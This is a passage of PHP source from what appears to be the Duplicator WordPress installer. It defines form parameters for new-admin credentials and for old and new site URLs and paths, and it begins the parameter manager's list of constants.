(!PrmMng::getInstance()->getValue(PrmMng::PARAM_WP_ADMIN_CREATE_NEW)) { return true; } if (strlen($value) < 4) { $paramObj->setInvalidMessage('Must have 4 or more characters'); return false; } return true; } ), array( 'status' => array(__CLASS__, 'getStatuOfNewAdminParams'), 'label' => 'Username:', 'classes' => 'new-admin-field', 'attr' => array( 'title' => '4 characters minimum', 'placeholder' => "(4 or more characters)" ) ) ); $params[PrmMng::PARAM_WP_ADMIN_PASSWORD] = new ParamFormPass( PrmMng::PARAM_WP_ADMIN_PASSWORD, ParamFormPass::TYPE_STRING, ParamFormPass::FORM_TYPE_PWD_TOGGLE, array( 'default' => '', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim'), 'validateCallback' => function ($value, ParamItem $paramObj) { if (!PrmMng::getInstance()->getValue(PrmMng::PARAM_WP_ADMIN_CREATE_NEW)) { return true; } if (strlen($value) < \DUPX_Constants::MIN_NEW_PASSWORD_LEN) { $paramObj->setInvalidMessage('Must have ' . \DUPX_Constants::MIN_NEW_PASSWORD_LEN . ' or more characters'); return false; } return true; } ), array( 'status' => array(__CLASS__, 'getStatuOfNewAdminParams'), 'label' => 'Password:', 'classes' => array('strength-pwd-check', 'new-admin-field'), 'attr' => array( 'placeholder' => '(' . \DUPX_Constants::MIN_NEW_PASSWORD_LEN . ' or more characters)', 'title' => \DUPX_Constants::MIN_NEW_PASSWORD_LEN . ' characters minimum' ) ) ); $params[PrmMng::PARAM_WP_ADMIN_MAIL] = new ParamForm( PrmMng::PARAM_WP_ADMIN_MAIL, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'default' => '', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim'), 'validateCallback' => function ($value, ParamItem $paramObj) { if (!PrmMng::getInstance()->getValue(PrmMng::PARAM_WP_ADMIN_CREATE_NEW)) { return true; } if (strlen($value) < 4) { $paramObj->setInvalidMessage('Email name must have 4 or more characters'); return false; } if (filter_var($value, FILTER_VALIDATE_EMAIL) == false) { $paramObj->setInvalidMessage('Email "' . $value . '" isn\'t valid'); return false; } return true; } ), array( 'status' => array(__CLASS__, 'getStatuOfNewAdminParams'), 'label' => 'Email:', 'classes' => 'new-admin-field', 'attr' => array( 'title' => '4 characters minimum', 'placeholder' => "(4 or more characters)" ) ) ); $params[PrmMng::PARAM_WP_ADMIN_NICKNAME] = new ParamForm( PrmMng::PARAM_WP_ADMIN_NICKNAME, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'default' => '', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim') ), array( 'status' => array(__CLASS__, 'getStatuOfNewAdminParams'), 'label' => 'Nickname:', 'classes' => 'new-admin-field', 'attr' => array( 'title' => 'if username is empty', 'placeholder' => "(if username is empty)" ) ) ); $params[PrmMng::PARAM_WP_ADMIN_FIRST_NAME] = new ParamForm( PrmMng::PARAM_WP_ADMIN_FIRST_NAME, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'default' => '', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim') ), array( 'status' => array(__CLASS__, 'getStatuOfNewAdminParams'), 'label' => 'First Name:', 'classes' => 'new-admin-field', 'attr' => array( 'title' => 'optional', 'placeholder' => "(optional)" ) ) ); $params[PrmMng::PARAM_WP_ADMIN_LAST_NAME] = new ParamForm( PrmMng::PARAM_WP_ADMIN_LAST_NAME, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'default' => '', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim') ), array( 'status' => array(__CLASS__, 'getStatuOfNewAdminParams'), 'label' => 'Last Name:', 'classes' => 'new-admin-field', 'attr' => array( 'title' => 'optional', 'placeholder' => "(optional)" ) ) ); } /** * * @return string */ public static function getStatuOfNewAdminParams() { if (PrmMng::getInstance()->getValue(PrmMng::PARAM_WP_ADMIN_CREATE_NEW)) { return ParamForm::STATUS_ENABLED; } else { return ParamForm::STATUS_DISABLED; } } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { } } Params/Descriptors/ParamDescUrlsPaths.php 0000644 00000045464 15136236440 0014527 0 ustar 00 <?php /** * Urls and paths params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Libs\Snap\SnapIO; use Duplicator\Libs\Snap\SnapJson; use DUPX_InstallerState; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescUrlsPaths implements DescriptorInterface { const INVALID_PATH_EMPTY = 'can\'t be empty'; const INVALID_URL_EMPTY = 'can\'t be empty'; /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $archive_config = \DUPX_ArchiveConfig::getInstance(); $paths = $archive_config->getRealValue('archivePaths'); $oldMainPath = $paths->home; $newMainPath = DUPX_ROOT; $oldHomeUrl = rtrim($archive_config->getRealValue('homeUrl'), '/'); $newHomeUrl = rtrim(DUPX_ROOT_URL, '/'); $oldSiteUrl = rtrim($archive_config->getRealValue('siteUrl'), '/'); $oldContentUrl = rtrim($archive_config->getRealValue('contentUrl'), '/'); $oldUploadUrl = rtrim($archive_config->getRealValue('uploadBaseUrl'), '/'); $oldPluginsUrl = rtrim($archive_config->getRealValue('pluginsUrl'), '/'); $oldMuPluginsUrl = rtrim($archive_config->getRealValue('mupluginsUrl'), '/'); $oldWpAbsPath = $paths->abs; $oldContentPath = $paths->wpcontent; $oldUploadsBasePath = $paths->uploads; $oldPluginsPath = $paths->plugins; $oldMuPluginsPath = $paths->muplugins; $defValEdit = "This default value is automatically generated.\n" . "Change it only if you're sure you know what you're doing!"; $params[PrmMng::PARAM_URL_OLD] = new ParamItem( PrmMng::PARAM_URL_OLD, ParamForm::TYPE_STRING, array( 'default' => $oldHomeUrl ) ); $params[PrmMng::PARAM_WP_ADDON_SITES_PATHS] = new ParamItem( PrmMng::PARAM_WP_ADDON_SITES_PATHS, ParamForm::TYPE_ARRAY_STRING, array( 'default' => array() ) ); $newObj = new ParamForm( PrmMng::PARAM_URL_NEW, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => $newHomeUrl, 'sanitizeCallback' => array('Duplicator\\Installer\\Core\\Params\\Descriptors\\ParamsDescriptors', 'sanitizeUrl'), 'validateCallback' => array('Duplicator\\Installer\\Core\\Params\\Descriptors\\ParamsDescriptors', 'validateUrlWithScheme') ), array(// FORM ATTRIBUTES 'label' => 'New Site URL:', 'status' => function (ParamForm $param) { if ( PrmMng::getInstance()->getValue(PrmMng::PARAM_TEMPLATE) !== \DUPX_Template::TEMPLATE_ADVANCED || DUPX_InstallerState::isRestoreBackup() ) { return ParamForm::STATUS_INFO_ONLY; } else { return ParamForm::STATUS_ENABLED; } }, 'wrapperClasses' => array('revalidate-on-change', 'cant-be-empty'), 'subNote' => function (ParamForm $param) { $archive_config = \DUPX_ArchiveConfig::getInstance(); $oldHomeUrl = rtrim($archive_config->getRealValue('homeUrl'), '/'); return 'Old value: <b>' . \DUPX_U::esc_html($oldHomeUrl) . '</b>'; }, 'postfix' => array('type' => 'button', 'label' => 'get', 'btnAction' => 'DUPX.getNewUrlByDomObj(this);') ) ); $params[PrmMng::PARAM_URL_NEW] = $newObj; $urlNewInputId = $newObj->getFormItemId(); $params[PrmMng::PARAM_PATH_OLD] = new ParamItem( PrmMng::PARAM_PATH_OLD, ParamForm::TYPE_STRING, array( 'default' => $oldMainPath ) ); $newObj = new ParamForm( PrmMng::PARAM_PATH_NEW, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => $newMainPath, 'sanitizeCallback' => array('Duplicator\\Installer\\Core\\Params\\Descriptors\\ParamsDescriptors', 'sanitizePath'), 'validateCallback' => function ($value, ParamItem $paramObj) { if (strlen($value) == 0) { $paramObj->setInvalidMessage('The new path can\'t be empty.'); return false; } // if home path is root path is necessary do a trailingslashit $realPath = SnapIO::safePathTrailingslashit($value); if (!is_dir($realPath)) { $paramObj->setInvalidMessage( 'The new path must be an existing folder on the server.<br>' . 'It is not possible to continue the installation without first creating the folder <br>' . '<b>' . $value . '</b>' ); return false; } // don't check the return of chmod, if fail the installer must continue SnapIO::chmod($realPath, 'u+rwx'); return true; } ), array(// FORM ATTRIBUTES 'label' => 'New Path:', 'status' => function (ParamForm $param) { if ( PrmMng::getInstance()->getValue(PrmMng::PARAM_TEMPLATE) !== \DUPX_Template::TEMPLATE_ADVANCED || DUPX_InstallerState::isRestoreBackup() ) { return ParamForm::STATUS_INFO_ONLY; } else { return ParamForm::STATUS_ENABLED; } }, 'subNote' => 'Old value: <b>' . \DUPX_U::esc_html($oldMainPath) . '</b>', 'wrapperClasses' => array('revalidate-on-change', 'cant-be-empty') ) ); $params[PrmMng::PARAM_PATH_NEW] = $newObj; $pathNewInputId = $newObj->getFormItemId(); $params[PrmMng::PARAM_SITE_URL_OLD] = new ParamItem( PrmMng::PARAM_SITE_URL_OLD, ParamForm::TYPE_STRING, array( 'default' => $oldSiteUrl ) ); $wrapClasses = array('revalidate-on-change', 'cant-be-empty', 'auto-updatable', 'autoupdate-enabled'); $postfixElement = array( 'type' => 'button', 'label' => 'Auto', 'btnAction' => 'DUPX.autoUpdateToggle(this, ' . SnapJson::jsonEncode($defValEdit) . ');' ); $params[PrmMng::PARAM_SITE_URL] = new ParamForm( PrmMng::PARAM_SITE_URL, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => '' ), array(// FORM ATTRIBUTES 'label' => 'WP core URL:', 'status' => ParamForm::STATUS_INFO_ONLY, 'subNote' => 'Old value: <b>' . \DUPX_U::esc_html($oldSiteUrl) . '</b>', ) ); $params[PrmMng::PARAM_PATH_CONTENT_OLD] = new ParamItem( PrmMng::PARAM_PATH_CONTENT_OLD, ParamForm::TYPE_STRING, array( 'default' => $oldContentPath ) ); $params[PrmMng::PARAM_PATH_CONTENT_NEW] = new ParamForm( PrmMng::PARAM_PATH_CONTENT_NEW, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => '' ), array(// FORM ATTRIBUTES 'label' => 'WP-content path:', 'status' => ParamForm::STATUS_INFO_ONLY, 'subNote' => 'Old value: <b>' . \DUPX_U::esc_html($oldContentPath) . '</b>' ) ); $params[PrmMng::PARAM_PATH_WP_CORE_OLD] = new ParamItem( PrmMng::PARAM_PATH_WP_CORE_OLD, ParamForm::TYPE_STRING, array( 'default' => $oldWpAbsPath ) ); $params[PrmMng::PARAM_PATH_WP_CORE_NEW] = new ParamForm( PrmMng::PARAM_PATH_WP_CORE_NEW, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => '' ), array(// FORM ATTRIBUTES 'label' => 'WP core path:', 'status' => ParamForm::STATUS_INFO_ONLY, 'subNote' => 'Old value: <b>' . \DUPX_U::esc_html($oldWpAbsPath) . '</b>' ) ); $params[PrmMng::PARAM_PATH_UPLOADS_OLD] = new ParamItem( PrmMng::PARAM_PATH_UPLOADS_OLD, ParamForm::TYPE_STRING, array( 'default' => $oldUploadsBasePath ) ); $params[PrmMng::PARAM_PATH_UPLOADS_NEW] = new ParamForm( PrmMng::PARAM_PATH_UPLOADS_NEW, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => '' ), array(// FORM ATTRIBUTES 'label' => 'Uploads path:', 'status' => ParamForm::STATUS_INFO_ONLY, 'subNote' => 'Old value: <b>' . \DUPX_U::esc_html($oldUploadsBasePath) . '</b>' ) ); $params[PrmMng::PARAM_URL_CONTENT_OLD] = new ParamItem( PrmMng::PARAM_URL_CONTENT_OLD, ParamForm::TYPE_STRING, array( 'default' => $oldContentUrl ) ); $params[PrmMng::PARAM_URL_CONTENT_NEW] = new ParamForm( PrmMng::PARAM_URL_CONTENT_NEW, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => '' ), array(// FORM ATTRIBUTES 'label' => 'WP-content URL:', 'status' => ParamForm::STATUS_INFO_ONLY, 'subNote' => 'Old value: <b>' . \DUPX_U::esc_html($oldContentUrl) . '</b>' ) ); $params[PrmMng::PARAM_URL_UPLOADS_OLD] = new ParamItem( PrmMng::PARAM_URL_UPLOADS_OLD, ParamForm::TYPE_STRING, array(// ITEM ATTRIBUTES 'default' => $oldUploadUrl ) ); $params[PrmMng::PARAM_URL_UPLOADS_NEW] = new ParamForm( PrmMng::PARAM_URL_UPLOADS_NEW, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => '' ), array(// FORM ATTRIBUTES 'label' => 'Uploads URL:', 'status' => ParamForm::STATUS_INFO_ONLY, 'subNote' => 'Old value: <b>' . \DUPX_U::esc_html($oldUploadUrl) . '</b>' ) ); $params[PrmMng::PARAM_URL_PLUGINS_OLD] = new ParamItem( PrmMng::PARAM_URL_PLUGINS_OLD, ParamForm::TYPE_STRING, array(// ITEM ATTRIBUTES 'default' => $oldPluginsUrl ) ); $params[PrmMng::PARAM_URL_PLUGINS_NEW] = new ParamForm( PrmMng::PARAM_URL_PLUGINS_NEW, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => '' ), array(// FORM ATTRIBUTES 'label' => 'Plugins URL:', 'status' => ParamForm::STATUS_INFO_ONLY, 'subNote' => 'Old value: <b>' . \DUPX_U::esc_html($oldPluginsUrl) . '</b>' ) ); $params[PrmMng::PARAM_PATH_PLUGINS_OLD] = new ParamItem( PrmMng::PARAM_PATH_PLUGINS_OLD, ParamForm::TYPE_STRING, array( 'default' => $oldPluginsPath ) ); $params[PrmMng::PARAM_PATH_PLUGINS_NEW] = new ParamForm( PrmMng::PARAM_PATH_PLUGINS_NEW, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => '' ), array(// FORM ATTRIBUTES 'label' => 'Plugins path:', 'status' => ParamForm::STATUS_INFO_ONLY, 'subNote' => 'Old value: <b>' . \DUPX_U::esc_html($oldPluginsPath) . '</b>' ) ); $params[PrmMng::PARAM_URL_MUPLUGINS_OLD] = new ParamItem( PrmMng::PARAM_URL_MUPLUGINS_OLD, ParamForm::TYPE_STRING, array( 'default' => $oldMuPluginsUrl ) ); $params[PrmMng::PARAM_URL_MUPLUGINS_NEW] = new ParamForm( PrmMng::PARAM_URL_MUPLUGINS_NEW, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => '' ), array(// FORM ATTRIBUTES 'label' => 'MU-plugins URL:', 'status' => ParamForm::STATUS_INFO_ONLY, 'subNote' => 'Old value: <b>' . \DUPX_U::esc_html($oldMuPluginsUrl) . '</b>' ) ); $params[PrmMng::PARAM_PATH_MUPLUGINS_OLD] = new ParamItem( PrmMng::PARAM_PATH_MUPLUGINS_OLD, ParamForm::TYPE_STRING, array( 'default' => $oldMuPluginsPath ) ); $params[PrmMng::PARAM_PATH_MUPLUGINS_NEW] = new ParamForm( PrmMng::PARAM_PATH_MUPLUGINS_NEW, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => '' ), array(// FORM ATTRIBUTES 'label' => 'MU-plugins path:', 'status' => ParamForm::STATUS_INFO_ONLY, 'postfix' => $postfixElement ) ); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { PrmMng::getInstance(); $archive_config = \DUPX_ArchiveConfig::getInstance(); $paths = $archive_config->getRealValue('archivePaths'); $oldMainPath = $paths->home; $newMainPath = $params[PrmMng::PARAM_PATH_NEW]->getValue(); $oldHomeUrl = rtrim($archive_config->getRealValue('homeUrl'), '/'); $newHomeUrl = $params[PrmMng::PARAM_URL_NEW]->getValue(); $oldSiteUrl = rtrim($archive_config->getRealValue('siteUrl'), '/'); $oldContentUrl = rtrim($archive_config->getRealValue('contentUrl'), '/'); $oldUploadUrl = rtrim($archive_config->getRealValue('uploadBaseUrl'), '/'); $oldPluginsUrl = rtrim($archive_config->getRealValue('pluginsUrl'), '/'); $oldMuPluginsUrl = rtrim($archive_config->getRealValue('mupluginsUrl'), '/'); // if empty value isn't overwritten if (strlen($params[PrmMng::PARAM_PATH_WP_CORE_NEW]->getValue()) == 0) { $newVal = \DUPX_ArchiveConfig::getNewSubString($oldMainPath, $newMainPath, $paths->abs); $params[PrmMng::PARAM_PATH_WP_CORE_NEW]->setValue($newVal); } // if empty value isn't overwritten if (strlen($params[PrmMng::PARAM_PATH_CONTENT_NEW]->getValue()) == 0) { $newVal = \DUPX_ArchiveConfig::getNewSubString($oldMainPath, $newMainPath, $paths->wpcontent); $params[PrmMng::PARAM_PATH_CONTENT_NEW]->setValue($newVal); } // if empty value isn't overwritten if (strlen($params[PrmMng::PARAM_PATH_UPLOADS_NEW]->getValue()) == 0) { $newVal = \DUPX_ArchiveConfig::getNewSubString($oldMainPath, $newMainPath, $paths->uploads); $params[PrmMng::PARAM_PATH_UPLOADS_NEW]->setValue($newVal); } // if empty value isn't overwritten if (strlen($params[PrmMng::PARAM_PATH_PLUGINS_NEW]->getValue()) == 0) { $newVal = \DUPX_ArchiveConfig::getNewSubString($oldMainPath, $newMainPath, $paths->plugins); $params[PrmMng::PARAM_PATH_PLUGINS_NEW]->setValue($newVal); } // if empty value isn't overwritten if (strlen($params[PrmMng::PARAM_PATH_MUPLUGINS_NEW]->getValue()) == 0) { $newVal = \DUPX_ArchiveConfig::getNewSubString($oldMainPath, $newMainPath, $paths->muplugins); $params[PrmMng::PARAM_PATH_MUPLUGINS_NEW]->setValue($newVal); } // if empty value isn't overwritten if (strlen($params[PrmMng::PARAM_SITE_URL]->getValue()) == 0) { $newVal = \DUPX_ArchiveConfig::getNewSubUrl($oldHomeUrl, $newHomeUrl, $oldSiteUrl); $params[PrmMng::PARAM_SITE_URL]->setValue($newVal); } // if empty value isn't overwritten if (strlen($params[PrmMng::PARAM_URL_CONTENT_NEW]->getValue()) == 0) { $newVal = \DUPX_ArchiveConfig::getNewSubUrl($oldHomeUrl, $newHomeUrl, $oldContentUrl); $params[PrmMng::PARAM_URL_CONTENT_NEW]->setValue($newVal); } // if empty value isn't overwritten if (strlen($params[PrmMng::PARAM_URL_UPLOADS_NEW]->getValue()) == 0) { $newVal = \DUPX_ArchiveConfig::getNewSubUrl($oldHomeUrl, $newHomeUrl, $oldUploadUrl); $params[PrmMng::PARAM_URL_UPLOADS_NEW]->setValue($newVal); } // if empty value isn't overwritten if (strlen($params[PrmMng::PARAM_URL_PLUGINS_NEW]->getValue()) == 0) { $newVal = \DUPX_ArchiveConfig::getNewSubUrl($oldHomeUrl, $newHomeUrl, $oldPluginsUrl); $params[PrmMng::PARAM_URL_PLUGINS_NEW]->setValue($newVal); } // if empty value isn't overwritten if (strlen($params[PrmMng::PARAM_URL_MUPLUGINS_NEW]->getValue()) == 0) { $newVal = \DUPX_ArchiveConfig::getNewSubUrl($oldHomeUrl, $newHomeUrl, $oldMuPluginsUrl); $params[PrmMng::PARAM_URL_MUPLUGINS_NEW]->setValue($newVal); } } } Params/PrmMng.php 0000644 00000100521 15136236440 0007703 0 ustar 00 <?php /** * Installer Params Manager * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Params; use Duplicator\Installer\Core\Bootstrap; use Duplicator\Installer\Core\Hooks\HooksMng; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Installer\Core\Params\Descriptors\ParamsDescriptors; use Duplicator\Libs\Snap\SnapIO; use Duplicator\Libs\Snap\SnapJson; use Duplicator\Libs\Snap\SnapString; class PrmMng { const ENV_PARAMS_KEY = 'DUPLICATOR_PARAMS'; /** * overwrite file content example * <?php * $json = <<<JSON * { * "debug": { * "value": false * }, * "debug_params": { * "value": true * }, * "logging": { * "value": 2 * } * } * JSON; * // OVERWRITE FILE END */ const LOCAL_OVERWRITE_PARAMS = 'dup_params_owr'; const LOCAL_OVERWRITE_PARAMS_EXTENSION = '.php'; // actionsLOCAL_OVERWRITE_PARAMS const PARAM_INSTALLER_MODE = 'inst_mode'; const PARAM_OVERWRITE_SITE_DATA = 'ovr_site_data'; const PARAM_CTRL_ACTION = 'ctrl_action'; const PARAM_ROUTER_ACTION = 'router-action'; const PARAM_SECURE_PASS = 'secure-pass'; const PARAM_SECURE_ARCHIVE_HASH = 'secure-archive'; const PARAM_SECURE_OK = 'secure-ok'; const PARAM_STEP_ACTION = 'step-action'; const PARAM_TEMPLATE = 'template'; const PARAM_VALIDATION_LEVEL = 'valid-level'; const PARAM_VALIDATION_ACTION_ON_START = 'valid-act'; const PARAM_VALIDATION_SHOW_ALL = 'valid-show-all'; const PARAM_ACCEPT_TERM_COND = 'accept-warnings'; const PARAM_RECOVERY_LINK = 'recovery-link'; const PARAM_FROM_SITE_IMPORT_INFO = 'import-info'; // input params const PARAM_DEBUG = 'debug'; const PARAM_DEBUG_PARAMS = 'debug_params'; const PARAM_ARCHIVE_ENGINE = 'archive_engine'; const PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES = 'archive_engine_wpskip'; const PARAM_ARCHIVE_ACTION = 'archive_action'; const PARAM_LOGGING = 'logging'; const PARAM_ZIP_THROTTLING = 'zip_throttling'; const PARAM_REMOVE_RENDUNDANT = 'remove-redundant'; const PARAM_REMOVE_USERS_WITHOUT_PERMISSIONS = 'remove-users-without-permissions'; const PARAM_FILE_TIME = 'zip_filetime'; const PARAM_HTACCESS_CONFIG = 'ht_config'; const PARAM_OTHER_CONFIG = 'other_config'; const PARAM_WP_CONFIG = 'wp_config'; const PARAM_SAFE_MODE = 'exe_safe_mode'; const PARAM_SET_FILE_PERMS = 'set_file_perms'; const PARAM_FILE_PERMS_VALUE = 'file_perms_value'; const PARAM_SET_DIR_PERMS = 'set_dir_perms'; const PARAM_DIR_PERMS_VALUE = 'dir_perms_value'; const PARAM_INST_TYPE = 'install-type'; const PARAM_DB_DISPLAY_OVERWIRE_WARNING = 'db-display-overwarn'; const PARAM_DB_ENGINE = 'db-engine'; const PARAM_DB_VIEW_MODE = 'view_mode'; const PARAM_DB_ACTION = 'dbaction'; const PARAM_DB_HOST = 'dbhost'; const PARAM_DB_NAME = 'dbname'; const PARAM_DB_USER = 'dbuser'; const PARAM_DB_FLAG = 'dbflag'; const PARAM_DB_TABLE_PREFIX = 't_prefix'; const PARAM_DB_PASS = 'dbpass'; const PARAM_DB_CHARSET = 'dbcharset'; const PARAM_DB_COLLATE = 'dbcollate'; const PARAM_DB_CHUNK = 'dbchunk'; const PARAM_DB_VIEW_CREATION = 'dbobj_views'; const PARAM_DB_PROC_CREATION = 'dbobj_procs'; const PARAM_DB_FUNC_CREATION = 'dbobj_funcs'; const PARAM_DB_REMOVE_DEFINER = 'db_remove_definer'; const PARAM_DB_SPLIT_CREATES = 'dbsplit_creates'; const PARAM_DB_MYSQL_MODE = 'dbmysqlmode'; const PARAM_DB_MYSQL_MODE_OPTS = 'dbmysqlmode_opts'; const PARAM_DB_DONE_CREATES = 'db_done_creates'; const PARAM_URL_OLD = 'url_old'; const PARAM_URL_NEW = 'url_new'; const PARAM_SITE_URL_OLD = 'siteurl_old'; const PARAM_SITE_URL = 'siteurl'; const PARAM_PATH_WP_CORE_OLD = 'path_core_old'; const PARAM_PATH_WP_CORE_NEW = 'path_core_new'; const PARAM_PATH_OLD = 'path_old'; const PARAM_PATH_NEW = 'path_new'; const PARAM_PATH_CONTENT_OLD = 'path_cont_old'; const PARAM_PATH_CONTENT_NEW = 'path_cont_new'; const PARAM_URL_CONTENT_OLD = 'url_cont_old'; const PARAM_URL_CONTENT_NEW = 'url_cont_new'; const PARAM_PATH_UPLOADS_OLD = 'path_upl_old'; const PARAM_PATH_UPLOADS_NEW = 'path_upl_new'; const PARAM_URL_UPLOADS_OLD = 'url_upl_old'; const PARAM_URL_UPLOADS_NEW = 'url_upl_new'; const PARAM_PATH_PLUGINS_OLD = 'path_plug_old'; const PARAM_PATH_PLUGINS_NEW = 'path_plug_new'; const PARAM_URL_PLUGINS_OLD = 'url_plug_old'; const PARAM_URL_PLUGINS_NEW = 'url_plug_new'; const PARAM_PATH_MUPLUGINS_OLD = 'path_muplug_old'; const PARAM_PATH_MUPLUGINS_NEW = 'path_muplug_new'; const PARAM_URL_MUPLUGINS_OLD = 'url_muplug_old'; const PARAM_URL_MUPLUGINS_NEW = 'url_muplug_new'; const PARAM_WP_ADDON_SITES_PATHS = 'wpaddon_sites'; const PARAM_BLOGNAME = 'blogname'; const PARAM_REPLACE_ENGINE = 'mode_chunking'; const PARAM_SKIP_PATH_REPLACE = 'skip_path_replace'; const PARAM_DB_TABLES = 'tables'; const PARAM_EMAIL_REPLACE = 'search_replace_email_domain'; const PARAM_FULL_SEARCH = 'fullsearch'; const PARAM_POSTGUID = 'postguid'; const PARAM_MAX_SERIALIZE_CHECK = 'mstrlim'; const PARAM_PLUGINS = 'plugins'; const PARAM_IGNORE_PLUGINS = 'ignore_plugins'; const PARAM_FORCE_DIABLE_PLUGINS = 'fd_plugins'; const PARAM_USERS_MODE = 'users_mode'; const PARAM_USERS_PWD_RESET = 'users_pwd_reset'; const PARAM_WP_ADMIN_CREATE_NEW = 'wp_new_admin'; const PARAM_WP_ADMIN_NAME = 'wp_username'; const PARAM_WP_ADMIN_PASSWORD = 'wp_password'; const PARAM_WP_ADMIN_MAIL = 'wp_mail'; const PARAM_WP_ADMIN_NICKNAME = 'wp_nickname'; const PARAM_WP_ADMIN_FIRST_NAME = 'wp_first_name'; const PARAM_WP_ADMIN_LAST_NAME = 'wp_last_name'; const PARAM_SUBSCRIBE_EMAIL = 'subscribe_email'; // WP CONFIG const PARAM_GEN_WP_AUTH_KEY = 'auth_keys_and_salts'; const PARAM_WP_CONF_WP_SITEURL = 'wpc_WP_SITEURL'; const PARAM_WP_CONF_MYSQL_CLIENT_FLAGS = 'wpc_MYSQL_CLIENT_FLAGS'; const PARAM_WP_CONF_WP_HOME = 'wpc_WP_HOME'; const PARAM_WP_CONF_WP_CONTENT_DIR = 'wpc_WP_CONTENT_DIR'; const PARAM_WP_CONF_WP_CONTENT_URL = 'wpc_WP_CONTENT_URL'; const PARAM_WP_CONF_WP_PLUGIN_DIR = 'wpc_WP_PLUGIN_DIR'; const PARAM_WP_CONF_WP_PLUGIN_URL = 'wpc_WP_PLUGIN_URL'; const PARAM_WP_CONF_PLUGINDIR = 'wpc_PLUGINDIR'; const PARAM_WP_CONF_UPLOADS = 'wpc_UPLOADS'; const PARAM_WP_CONF_AUTOSAVE_INTERVAL = 'wpc_AUTOSAVE_INTERVAL'; const PARAM_WP_CONF_WP_POST_REVISIONS = 'wpc_WP_POST_REVISIONS'; const PARAM_WP_CONF_COOKIE_DOMAIN = 'wpc_COOKIE_DOMAIN'; const PARAM_WP_CONF_WP_ALLOW_MULTISITE = 'wpc_WP_ALLOW_MULTISITE'; const PARAM_WP_CONF_NOBLOGREDIRECT = 'wpc_NOBLOGREDIRECT'; const PARAM_WP_CONF_WP_DEBUG = 'wpc_WP_DEBUG'; const PARAM_WP_CONF_SCRIPT_DEBUG = 'wpc_SCRIPT_DEBUG'; const PARAM_WP_CONF_CONCATENATE_SCRIPTS = 'wpc_CONCATENATE_SCRIPTS'; const PARAM_WP_CONF_WP_DEBUG_LOG = 'wpc_WP_DEBUG_LOG'; const PARAM_WP_CONF_WP_DISABLE_FATAL_ERROR_HANDLER = 'wpc_WP_DISABLE_FATAL_ERROR_HANDLER'; const PARAM_WP_CONF_WP_DEBUG_DISPLAY = 'wpc_WP_DEBUG_DISPLAY'; const PARAM_WP_CONF_WP_MEMORY_LIMIT = 'wpc_WP_MEMORY_LIMIT'; const PARAM_WP_CONF_WP_MAX_MEMORY_LIMIT = 'wpc_WP_MAX_MEMORY_LIMIT'; const PARAM_WP_CONF_WP_TEMP_DIR = 'wpc_WP_TEMP_DIR'; const PARAM_WP_CONF_WP_CACHE = 'wpc_WP_CACHE'; const PARAM_WP_CONF_CUSTOM_USER_TABLE = 'wpc_CUSTOM_USER_TABLE'; const PARAM_WP_CONF_CUSTOM_USER_META_TABLE = 'wpc_CUSTOM_USER_META_TABLE'; const PARAM_WP_CONF_WPLANG = 'wpc_WPLANG'; const PARAM_WP_CONF_WP_LANG_DIR = 'wpc_WP_LANG_DIR'; const PARAM_WP_CONF_SAVEQUERIES = 'wpc_SAVEQUERIES'; const PARAM_WP_CONF_FS_CHMOD_DIR = 'wpc_FS_CHMOD_DIR'; const PARAM_WP_CONF_FS_CHMOD_FILE = 'wpc_FS_CHMOD_FILE'; const PARAM_WP_CONF_FS_METHOD = 'wpc_FS_METHOD'; const PARAM_WP_CONF_ALTERNATE_WP_CRON = 'wpc_ALTERNATE_WP_CRON'; const 